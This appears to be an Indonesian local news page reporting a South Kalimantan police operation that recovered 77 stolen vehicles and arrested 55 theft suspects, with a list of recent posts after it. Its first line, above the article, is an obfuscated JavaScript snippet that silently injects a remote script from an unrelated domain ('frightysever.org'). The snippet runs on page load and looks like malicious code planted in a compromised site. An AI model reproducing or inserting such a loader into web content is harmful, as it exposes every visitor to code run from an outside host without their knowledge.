(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

77 Kendaraan, 55 Tersangka, Hasil Jaran Intan 2017-2018 Polda Kalsel


BANJARMASIN, Operasi Jaran Intan 2017-2018 yang dilakukan Resmob Polda Kalsel berhasil mengamankan 77 unit barang bukti berupa mobil dan sepeda motor bersama 55 terrsangka pelaku Curanmor. Barang bukti Bersama para tersangka hasil dari operasi Jaran Intan 2017-2018 diperlihatkan di halaman Mapolda Kalsel, Kamis (8/2).

Kapolda Kalsel Brigjen Pol Drs Rachmat Mulyana mengatakan, modus operandi para tersangka dalam melakukan tindak curanmor sudah lama beroperasi di wilayah Kalsel.

“Mereka mencuri motor tersebut dengan berbagai cara, diantaranya membobol kunci, mengganti nomor rangka serta mesin dengan STNK palsu, pembuatan surat kepemilikan palsu menggunakan printer, stempel Samsat serta kepolisian dan pemalsuan tanda tangan pejabat Samsat dan Polri,” beber Kapolda Kalsel.

Untuk, tingkat pencurian pada jenis roda dua paling diincar kawanan mereka ialah motor matic karena cepat untuk dibawa kabur. Sementara untuk roda empat dengan modus membeli kredit dan dibawa lari ketika ingin ditarik pihak leasing.

Para tersangka yang ditangkap ada yang memiliki jaringan dan ada yang bermain sendiri, para residivis ulung yang dulu pernah bermain pencurian bermotor.


Foto : ammar

“Saya harap para deb collector yang ditunjuk pihak leasing harus diseleksi, jangan sampai ikut bermain juga dalam tindakan seperti ini, sebab banyak ditemui para deb collector yang memainkan barang sitaannya yang merugikan pihak leasing maupun konsumen,” beber Kapolda.

Beberapa korban perorangan maupun perusahaan yang telah rugi ditipu oleh para pelaku curanmor tersebut bisa mengambil kendaraan mereka di Polda Kalsel.

“Siapa yang memiliki hak atas kendaraan-kendaraan hasil dari pelaku bisa diambil kembali, dengan membawa surat-surat dan buku kepemilikannya dan ini gratis tidak ada pungutan adiministrasi, kalau ada segera lapor ke saya,” tegasnya. (ammar)

Reporter : Ammar
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

5 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

7 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

7 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

9 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.